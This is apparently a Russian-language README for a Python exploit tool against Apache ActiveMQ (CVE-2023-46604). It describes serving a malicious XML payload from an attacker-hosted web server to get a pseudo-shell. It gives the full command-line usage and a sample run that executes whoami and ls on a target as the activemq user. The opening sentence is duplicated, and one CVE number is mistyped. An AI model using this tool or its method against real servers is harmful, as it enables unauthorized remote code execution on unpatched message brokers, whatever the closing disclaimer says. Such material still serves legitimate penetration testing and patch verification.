
Этот скрипт использует CVE-2023046604 (Apache ActiveMQ) для создания псевдо-оболочки. Уязвимость позволяет выполнять удалённый код из-за небезопасной десериализации в протоколе OpenWire.
Этот скрипт использует CVE-2023046604 (Apache ActiveMQ) для создания псевдооболочки. Уязвимость позволяет выполнять удалённый код из-за небезопасной десериализации в протоколе OpenWire.
CVE-2023-46604 — это уязвимость десериализации, существующая в протоколе OpenWire Apache ActiveMQ. Этот недостаток может быть использован злоумышленником для выполнения произвольного кода на сервере, где запущен ActiveMQ. Злоумышленник может создать вредоносный XML-файл, команды из которого будут выполнены удалённым сервером.
Этот эксплойт автоматизирует и абстрагирует процесс создания XML-документа, предоставляет базовый сервер для доставки файла и получает информацию обратно от целевого сервера через POST. Это позволяет продолжать эксплуатацию без необходимости вызывать reverse shell или разворачивать бинарный файл.
Перед запуском эксплойта убедитесь, что у вас есть:
Скрипт требует:
Необязательно:
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
Этот эксплойт основан на оригинальном POC на Go от X1r0z и Python POC от evkl1d.
Этот код предоставлен исключительно для образовательных целей и этичного тестирования безопасности. Его следует использовать ответственно и только в средах, где получено явное разрешение. Несанкционированное или вредоносное использование строго запрещено. Используя этот код, вы соглашаетесь соблюдать все применимые законы, нормативные акты и этические стандарты вашей юрисдикции. Создатели и участники снимают с себя ответственность за любой ущерб или последствия, возникшие в результате неправомерного или несанкционированного использования этого кода.